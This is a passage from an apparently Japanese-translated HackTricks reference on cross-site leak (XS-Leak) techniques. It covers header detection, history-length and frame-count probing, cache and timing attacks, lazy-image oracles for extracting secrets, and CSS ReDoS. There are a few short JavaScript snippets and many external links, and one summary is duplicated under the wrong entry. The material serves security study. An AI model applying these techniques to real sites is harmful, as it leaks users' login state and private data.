- 概要: クロスオリジンリソースポリシー(CORP)で保護されたリソースは、許可されていないオリジンから取得されるとエラーを発生させます。
- コード例: https://xsinator.com/testing.html#CORP%20Leak
CORPヘッダーは比較的新しいウェブプラットフォームのセキュリティ機能で、設定されると指定されたリソースへのノーコルスクロスオリジンリクエストをブロックします。ヘッダーの存在は検出可能で、CORPで保護されたリソースは取得されるとエラーを発生させます。
CORB
- インクルージョンメソッド: HTML要素
- 検出可能な違い: ヘッダー
- 詳細情報: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- 概要: CORBは、リクエストに**
nosniff
ヘッダーが存在する**かどうかを攻撃者が検出できるようにします。 - コード例: https://xsinator.com/testing.html#CORB%20Leak
攻撃についての詳細情報はリンクを確認してください。
オリジンリフレクションの誤設定によるCORSエラー
- インクルージョンメソッド: Fetch API
- 検出可能な違い: ヘッダー
- 詳細情報: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- 概要: オリジンヘッダーが
Access-Control-Allow-Origin
ヘッダーに反映されている場合、リソースがすでにキャッシュに存在するかどうかを確認できます。 - コード例: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
OriginヘッダーがAccess-Control-Allow-Origin
ヘッダーに反映されている場合、攻撃者はこの動作を悪用してCORSモードでリソースを取得しようとすることができます。エラーがトリガーされない場合、それはウェブから正しく取得されたことを意味し、エラーがトリガーされる場合、それはキャッシュからアクセスされたことを意味します(エラーは、キャッシュが元のドメインを許可するCORSヘッダーを持つ応答を保存しているために発生します)。
オリジンが反映されていないがワイルドカードが使用されている場合(Access-Control-Allow-Origin: *
)、これは機能しません。
読み取り可能な属性技術
フェッチリダイレクト
- インクルージョンメソッド: Fetch API
- 検出可能な違い: ステータスコード
- 詳細情報: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- 概要: GCとSAは、リダイレクトが完了した後に応答のタイプ(opaque-redirect)を確認できます。
- コード例: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
redirect: "manual"
および他のパラメータを使用してFetch APIを介してリクエストを送信すると、response.type
属性を読み取ることができ、opaqueredirect
と等しい場合、応答はリダイレクトでした。
COOP
- インクルージョンメソッド: ポップアップ
- 検出可能な違い: ヘッダー
- 詳細情報: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- 概要: クロスオリジンオープナーポリシー(COOP)で保護されたページは、クロスオリジンの相互作用からのアクセスを防ぎます。
- コード例: https://xsinator.com/testing.html#COOP%20Leak
攻撃者は、クロスオリジンHTTP応答におけるクロスオリジンオープナーポリシー(COOP)ヘッダーの存在を推測できます。COOPは、外部サイトが任意のウィンドウ参照を取得するのを妨げるためにウェブアプリケーションによって使用されます。このヘッダーの可視性は、contentWindow
参照にアクセスしようとすることで判断できます。COOPが条件付きで適用されるシナリオでは、opener
プロパティが明白な指標となります:COOPがアクティブな場合は未定義であり、存在しない場合は定義されています。
URL最大長 - サーバーサイド
- インクルージョンメソッド: Fetch API、HTML要素
- 検出可能な違い: ステータスコード / コンテンツ
- 詳細情報: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- 概要: リダイレクト応答の長さが大きすぎるため、サーバーがエラーで再生し、アラートが生成されるため、応答の違いを検出します。
- コード例: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
サーバーサイドリダイレクトがリダイレクト内でユーザー入力を使用し、追加データを持つ場合、この動作を検出することが可能です。通常、サーバーにはリクエスト長の制限があります。もしユーザーデータがその長さ - 1であれば、リダイレクトがそのデータを使用し、何かを追加しているため、エラーがトリガーされます(エラーは、リダイレクトがそのデータを使用しているために発生します)。
ユーザーにクッキーを設定できる場合、十分なクッキーを設定することによってこの攻撃を実行することもできます(クッキーボム)。その結果、正しい応答のサイズが増加し、エラーがトリガーされます。この場合、同じサイトからこのリクエストをトリガーすると、<script>
が自動的にクッキーを送信するため(エラーを確認できます)。
クッキーボム + XS-Searchの例は、この書き込みの意図された解決策に見つけることができます: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
SameSite=None
または同じコンテキストにいることが、この種の攻撃には通常必要です。
URL最大長 - クライアントサイド
- インクルージョンメソッド: ポップアップ
- 検出可能な違い: ステータスコード / コンテンツ
- 詳細情報: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
- 概要: リダイレクト応答の長さが大きすぎるため、リクエストに違いがあることを検出します。
- コード例: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
Chromiumのドキュメントによると、Chromeの最大URL長は2MBです。
一般的に、_ウェブプラットフォーム_にはURLの長さに制限はありません(ただし、2^31は一般的な制限です)。_Chrome_は、実用的な理由とプロセス間通信におけるサービス拒否問題を回避するために、URLを最大2MBに制限しています。
したがって、リダイレクトURLが一方のケースでより大きく応答した場合、2MBより大きなURLでリダイレクトさせることが可能です。これが発生すると、Chromeは**about:blank#blocked
**ページを表示します。
顕著な違いは、リダイレクトが完了した場合、window.origin
がエラーをスローすることです。クロスオリジンはその情報にアクセスできません。しかし、制限が達成され、読み込まれたページが**about:blank#blocked
であった場合、ウィンドウのorigin
は親のものであり、これはアクセス可能な情報**です。
2MBに達するために必要なすべての追加情報は、最初のURLにハッシュを追加することで追加でき、リダイレクトで使用されます。
最大リダイレクト
- インクルージョンメソッド: Fetch API、フレーム
- 検出可能な違い: ステータスコード
- 詳細情報: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- 概要: ブラウザのリダイレクト制限を使用して、URLリダイレクションの発生を確認します。
- コード例: https://xsinator.com/testing.html#Max%20Redirect%20Leak
ブラウザの最大リダイレクト数が20の場合、攻撃者は19回のリダイレクトでページを読み込もうとし、最終的に被害者をテストされたページに送信することができます。エラーがトリガーされる場合、そのページは被害者をリダイレクトしようとしていたことになります。
履歴の長さ
- インクルージョンメソッド: フレーム、ポップアップ
- 検出可能な違い: リダイレクト
- 詳細情報: https://xsleaks.dev/docs/attacks/navigations/
- 概要: JavaScriptコードがブラウザの履歴を操作し、長さプロパティでアクセスできます。
- コード例: https://xsinator.com/testing.html#History%20Length%20Leak
履歴APIは、JavaScriptコードがブラウザの履歴を操作できるようにし、ユーザーが訪れたページを保存します。攻撃者は、長さプロパティをインクルージョンメソッドとして使用できます:JavaScriptとHTMLのナビゲーションを検出するために。
history.length
を確認し、ユーザーにページに移動させ、同じオリジンに戻し、history.length
の新しい値を確認します。
同じURLでの履歴の長さ
- インクルージョンメソッド: フレーム、ポップアップ
- 検出可能な違い: 推測したURLと同じかどうか
- 概要: 履歴の長さを悪用して、フレーム/ポップアップの位置が特定のURLにあるかどうかを推測できます。
- コード例: 以下
攻撃者はJavaScriptコードを使用して、フレーム/ポップアップの位置を推測したURLに操作し、すぐにそれを**about:blank
に変更することができます。履歴の長さが増加した場合、それはURLが正しかったことを意味し、同じであれば再読み込みされないため、増加する時間がありました。増加しなかった場合、それは推測したURLを読み込もうとしたが、すぐにabout:blank
を読み込んだため、推測したURLを読み込む際に履歴の長さが増加しなかった**ことを意味します。
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))
win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
フレームカウント
- インクルージョンメソッド: フレーム、ポップアップ
- 検出可能な違い: ページコンテンツ
- 詳細情報: https://xsleaks.dev/docs/attacks/frame-counting/
- 概要:
window.length
プロパティを調べて iframe 要素の数を評価します。 - コード例: https://xsinator.com/testing.html#Frame%20Count%20Leak
iframe
または window.open
を介して開かれた ウェブのフレームの数をカウントすることで、そのページ上のユーザーの状態を特定するのに役立つかもしれません。
さらに、ページが常に同じ数のフレームを持っている場合、フレームの数を継続的にチェックすることで、情報が漏洩する可能性のあるパターンを特定するのに役立つかもしれません。
この技術の例として、Chromeでは、PDFがフレームカウントで検出されることがあります。なぜなら、内部で embed
が使用されているからです。zoom
、view
、page
、toolbar
などのコンテンツに対する制御を許可するオープンURLパラメータがあり、この技術が興味深い場合があります。
HTMLElements
- インクルージョンメソッド: HTML要素
- 検出可能な違い: ページコンテンツ
- 詳細情報: https://xsleaks.dev/docs/attacks/element-leaks/
- 概要: 漏洩した値を読み取って2つの可能な状態を区別します。
- コード例: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
HTML要素を通じた情報漏洩は、特にユーザー情報に基づいて動的メディアファイルが生成される場合や、メディアサイズを変更する透かしが追加される場合に、ウェブセキュリティの懸念事項です。攻撃者は、特定のHTML要素によって露出された情報を分析することで、可能な状態を区別するためにこれを悪用することができます。
HTML要素によって露出された情報
- HTMLMediaElement: この要素はメディアの
duration
とbuffered
時間を明らかにし、APIを介してアクセスできます。HTMLMediaElementについての詳細 - HTMLVideoElement:
videoHeight
とvideoWidth
を露出します。一部のブラウザでは、webkitVideoDecodedByteCount
、webkitAudioDecodedByteCount
、およびwebkitDecodedFrameCount
などの追加プロパティが利用可能で、メディアコンテンツに関するより詳細な情報を提供します。HTMLVideoElementについての詳細 - getVideoPlaybackQuality(): この関数は、
totalVideoFrames
を含むビデオ再生品質に関する詳細を提供し、処理されたビデオデータの量を示すことができます。getVideoPlaybackQuality()についての詳細 - HTMLImageElement: この要素は画像の
height
とwidth
を漏洩します。ただし、画像が無効な場合、これらのプロパティは0を返し、image.decode()
関数は拒否され、画像が正しく読み込まれなかったことを示します。HTMLImageElementについての詳細
CSSプロパティ
- インクルージョンメソッド: HTML要素
- 検出可能な違い: ページコンテンツ
- 詳細情報: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- 概要: ユーザーの状態やステータスに関連するウェブサイトのスタイリングの変化を特定します。
- コード例: https://xsinator.com/testing.html#CSS%20Property%20Leak
ウェブアプリケーションは、ユーザーの状態に応じてウェブサイトのスタイリングを変更することがあります。クロスオリジンのCSSファイルは、HTMLリンク要素を使用して攻撃者のページに埋め込むことができ、ルールは攻撃者のページに適用されます。ページがこれらのルールを動的に変更する場合、攻撃者はユーザーの状態に応じてこれらの違いを検出できます。
漏洩技術として、攻撃者は window.getComputedStyle
メソッドを使用して特定のHTML要素のCSSプロパティを読み取ることができます。その結果、影響を受ける要素とプロパティ名が知られている場合、攻撃者は任意のCSSプロパティを読み取ることができます。
CSS履歴
- インクルージョンメソッド: HTML要素
- 検出可能な違い: ページコンテンツ
- 詳細情報: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- 概要:
:visited
スタイルがURLに適用されているかどうかを検出し、すでに訪問されたことを示します。 - コード例: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
tip
これによると、これはヘッドレスChromeでは機能しません。
CSSの :visited
セレクタは、ユーザーが以前に訪問した場合にURLを異なるスタイルで表示するために使用されます。過去には、getComputedStyle()
メソッドを使用してこれらのスタイルの違いを特定することができました。しかし、現代のブラウザは、このメソッドがリンクの状態を明らかにするのを防ぐためのセキュリティ対策を実施しています。これらの対策には、リンクが訪問されたかのように常に計算されたスタイルを返し、:visited
セレクタで適用できるスタイルを制限することが含まれます。
これらの制限にもかかわらず、リンクの訪問状態を間接的に見分けることは可能です。1つの技術は、ユーザーをCSSに影響を与える領域に対話させることを含み、特に mix-blend-mode
プロパティを利用します。このプロパティは、要素とその背景をブレンドすることを可能にし、ユーザーの対話に基づいて訪問状態を明らかにする可能性があります。
さらに、リンクのレンダリングタイミングを悪用することで、ユーザーの対話なしに検出を行うことができます。ブラウザは、訪問済みリンクと未訪問リンクを異なる方法でレンダリングする可能性があるため、レンダリングにおける測定可能な時間の違いを生じさせることがあります。概念実証(PoC)は、Chromiumのバグ報告で言及されており、複数のリンクを使用してタイミングの違いを増幅し、タイミング分析を通じて訪問状態を検出可能にするこの技術を示しています。
これらのプロパティとメソッドの詳細については、ドキュメントページを訪れてください:
ContentDocument X-Frame漏洩
- インクルージョンメソッド: フレーム
- 検出可能な違い: ヘッダー
- 詳細情報: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- 概要: Google Chromeでは、X-Frame-Options制限によりクロスオリジンサイトに埋め込まれたページがブロックされると、専用のエラーページが表示されます。
- コード例: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
Chromeでは、X-Frame-Options
ヘッダーが "deny" または "same-origin" に設定されたページがオブジェクトとして埋め込まれると、エラーページが表示されます。Chromeは、このオブジェクトの contentDocument
プロパティに対して空のドキュメントオブジェクト(null
ではなく)を一意に返します。これは、iframeや他のブラウザとは異なります。攻撃者は、空のドキュメントを検出することでこれを悪用し、特に開発者がX-Frame-Optionsヘッダーを不一致に設定し、エラーページを見落とすことが多いため、ユーザーの状態に関する情報を明らかにする可能性があります。意識とセキュリティヘッダーの一貫した適用が、こうした漏洩を防ぐために重要です。
ダウンロード検出
- インクルージョンメソッド: フレーム、ポップアップ
- 検出可能な違い: ヘッダー
- 詳細情報: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- 概要: 攻撃者は、iframeを利用してファイルのダウンロードを識別できます。iframeの継続的なアクセス可能性は、ファイルのダウンロードが成功したことを示唆します。
- コード例: https://xsleaks.dev/docs/attacks/navigations/#download-bar
Content-Disposition
ヘッダー、特に Content-Disposition: attachment
は、ブラウザにコンテンツをインラインで表示するのではなく、ダウンロードするよう指示します。この動作は、ユーザーがファイルダウンロードをトリガーするページにアクセスできるかどうかを検出するために悪用される可能性があります。Chromiumベースのブラウザでは、このダウンロード動作を検出するためのいくつかの技術があります:
- ダウンロードバーの監視:
- Chromiumベースのブラウザでファイルがダウンロードされると、ブラウザウィンドウの下部にダウンロードバーが表示されます。
- ウィンドウの高さの変化を監視することで、攻撃者はダウンロードバーの出現を推測し、ダウンロードが開始されたことを示唆できます。
- iframeを使用したダウンロードナビゲーション:
Content-Disposition: attachment
ヘッダーを使用してファイルダウンロードをトリガーするページは、ナビゲーションイベントを引き起こしません。- コンテンツをiframeに読み込み、ナビゲーションイベントを監視することで、コンテンツの配置がファイルダウンロードを引き起こすかどうか(ナビゲーションなし)を確認できます。
- iframeなしのダウンロードナビゲーション:
- iframe技術と同様に、この方法はiframeの代わりに
window.open
を使用します。 - 新しく開かれたウィンドウでナビゲーションイベントを監視することで、ファイルダウンロードがトリガーされたかどうか(ナビゲーションなし)や、コンテンツがインラインで表示されているか(ナビゲーションが発生)を明らかにできます。
ログインユーザーのみがそのようなダウンロードをトリガーできるシナリオでは、これらの技術を使用して、ブラウザのダウンロードリクエストに対する応答に基づいてユーザーの認証状態を間接的に推測することができます。
パーティション化されたHTTPキャッシュバイパス
- インクルージョンメソッド: ポップアップ
- 検出可能な違い: タイミング
- 詳細情報: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- 概要: 攻撃者は、iframeを利用してファイルのダウンロードを識別できます。iframeの継続的なアクセス可能性は、ファイルのダウンロードが成功したことを示唆します。
- コード例: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (from https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
warning
この技術が興味深い理由は、Chromeが現在キャッシュパーティショニングを持っており、新しく開かれたページのキャッシュキーは (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)
ですが、ngrokページを開いてfetchを使用すると、キャッシュキーは (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)
になります。キャッシュキーが異なるため、キャッシュは共有できません。詳細はこちらで確認できます: キャッシュのパーティショニングによるセキュリティとプライバシーの向上
(こちらからのコメント)
サイト example.com
が *.example.com/resource
からリソースを含む場合、そのリソースは、リソースがトップレベルナビゲーションを介して直接要求された場合と同じキャッシュキーを持ちます。これは、キャッシュキーがトップレベルの eTLD+1 とフレーム eTLD+1 で構成されているためです。
キャッシュにアクセスする方がリソースを読み込むよりも速いため、ページの位置を変更し、20ms(例えば)後にそれをキャンセルすることが可能です。停止後にオリジンが変更された場合、それはリソースがキャッシュされていたことを意味します。
または、潜在的にキャッシュされたページにいくつかのfetchを送信し、かかる時間を測定することもできます。
手動リダイレクト
- インクルージョンメソッド: Fetch API
- 検出可能な違い: リダイレクト
- 詳細情報: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- 概要: fetchリクエストの応答がリダイレクトであるかどうかを確認できます。
- コード例:
AbortControllerを使用したFetch
- インクルージョンメソッド: Fetch API
- 検出可能な違い: タイミング
- 詳細情報: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- 概要: リソースを読み込もうとし、読み込まれる前に中断されることがあります。エラーが発生するかどうかに応じて、リソースがキャッシュされているかどうかがわかります。
- コード例: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
fetch と setTimeout を使用して AbortController で、リソースがキャッシュされているかどうかを検出し、特定のリソースをブラウザキャッシュから排除します。さらに、このプロセスは新しいコンテンツをキャッシュすることなく行われます。
スクリプト汚染
- インクルージョンメソッド: HTML要素(スクリプト)
- 検出可能な違い: ページコンテンツ
- 詳細情報: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- 概要: 組み込み関数を上書きし、その引数を読み取ることが可能で、クロスオリジンのスクリプトからも(直接読み取ることはできません)、これが貴重な情報を漏洩する可能性があります。
- コード例: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
サービスワーカー
- インクルージョンメソッド: ポップアップ
- 検出可能な違い: ページコンテンツ
- 詳細情報: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- 概要: サービスワーカーを使用してウェブの実行時間を測定します。
- コード例:
与えられたシナリオでは、攻撃者は自分のドメインの1つ、具体的には "attacker.com" 内でサービスワーカーを登録することから始めます。次に、攻撃者はメインドキュメントからターゲットウェブサイトに新しいウィンドウを開き、サービスワーカーにタイマーを開始するよう指示します。新しいウィンドウが読み込みを開始すると、攻撃者は前のステップで取得した参照をサービスワーカーによって管理されているページにナビゲートします。
前のステップで開始されたリクエストが到着すると、サービスワーカーは204 (No Content) ステータスコードで応答し、ナビゲーションプロセスを効果的に終了します。この時点で、サービスワーカーは前のステップで開始されたタイマーからの測定値をキャプチャします。この測定値は、ナビゲーションプロセスの遅延を引き起こすJavaScriptの持続時間によって影響を受けます。
warning
実行タイミングでは、ネットワーク要因を排除して、より正確な測定値を取得することが可能です。たとえば、ページを読み込む前にページで使用されるリソースを読み込むことによってです。
Fetchタイミング
- インクルージョンメソッド: Fetch API
- 検出可能な違い: タイミング(一般的にはページコンテンツ、ステータスコードによる)
- 詳細情報: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- 概要: performance.now() を使用してリクエストを実行するのにかかる時間を測定します。他の時計も使用できます。
- コード例: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
クロスウィンドウタイミング
- インクルージョンメソッド: ポップアップ
- 検出可能な違い: タイミング(一般的にはページコンテンツ、ステータスコードによる)
- 詳細情報: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- 概要: performance.now() を使用して
window.open
を使用してリクエストを実行するのにかかる時間を測定します。他の時計も使用できます。 - コード例: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
HTMLまたは再インジェクションを使用して
ここでは、クロスオリジンHTMLから情報を抽出するための技術を見つけることができます。HTMLコンテンツを注入することができる場合に興味深い技術です。これらの技術は、何らかの理由でHTMLを注入できるがJSコードを注入できない場合に興味深いです。
ダンギングマークアップ
Dangling Markup - HTML scriptless injection
画像の遅延読み込み
コンテンツを抽出する必要があり、秘密の前にHTMLを追加できる場合は、一般的なダンギングマークアップ技術を確認する必要があります。
ただし、何らかの理由で文字ごとに行う必要がある場合(キャッシュヒットを介して通信する場合など)、このトリックを使用できます。
HTMLの画像には、値がlazyである**"loading"**属性があります。この場合、画像はページが読み込まれるときではなく、表示されたときに読み込まれます。
<img src=/something loading=lazy >
したがって、あなたができることは、多くのジャンク文字(例えば何千もの"W")を秘密の前にウェブページを埋めるために追加することです、または**<br><canvas height="1850px"></canvas><br>
のようなものを追加します**。
例えば、私たちのインジェクションがフラグの前に現れると、画像は読み込まれますが、フラグの後に現れると、フラグ + ジャンクは読み込まれるのを防ぎます(どれだけのジャンクを置くかは調整が必要です)。これはこの書き込みで起こったことです。
もう一つのオプションは、許可されている場合はscroll-to-text-fragmentを使用することです:
Scroll-to-text-fragment
ただし、あなたはボットにページにアクセスさせる必要があります、何かのように
#:~:text=SECR
ウェブページは次のようになります: https://victim.com/post.html#:~:text=SECR
ここで、post.html には攻撃者のジャンク文字と遅延読み込み画像が含まれ、その後にボットの秘密が追加されます。
このテキストが行うのは、ボットがページ内の SECR
というテキストを含む任意のテキストにアクセスすることです。そのテキストは秘密であり、画像のすぐ下にあるため、推測された秘密が正しい場合にのみ画像が読み込まれます。これにより、秘密を文字ごとに抽出するためのオラクルが得られます。
これを悪用するためのコード例: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
画像の遅延読み込み時間ベース
もし外部画像を読み込むことができない場合、攻撃者に画像が読み込まれたことを示す別のオプションは、文字を何度も推測してそれを測定することです。画像が読み込まれると、すべてのリクエストは画像が読み込まれない場合よりも長くかかります。これは、この書き込みの解決策 に使用されたものです:
Event Loop Blocking + Lazy images
ReDoS
Regular expression Denial of Service - ReDoS
CSS ReDoS
jQuery(location.hash)
が使用される場合、HTML コンテンツが存在するかどうかをタイミングで確認することが可能です。これは、セレクタ main[id='site-main']
が一致しない場合、残りのセレクタをチェックする必要がないためです。
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)
CSSインジェクション
防御策
https://xsinator.com/paper.pdf およびウィキの各セクション https://xsleaks.dev/ で推奨される緩和策があります。これらの技術から保護する方法についての詳細は、そちらをご覧ください。
参考文献
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。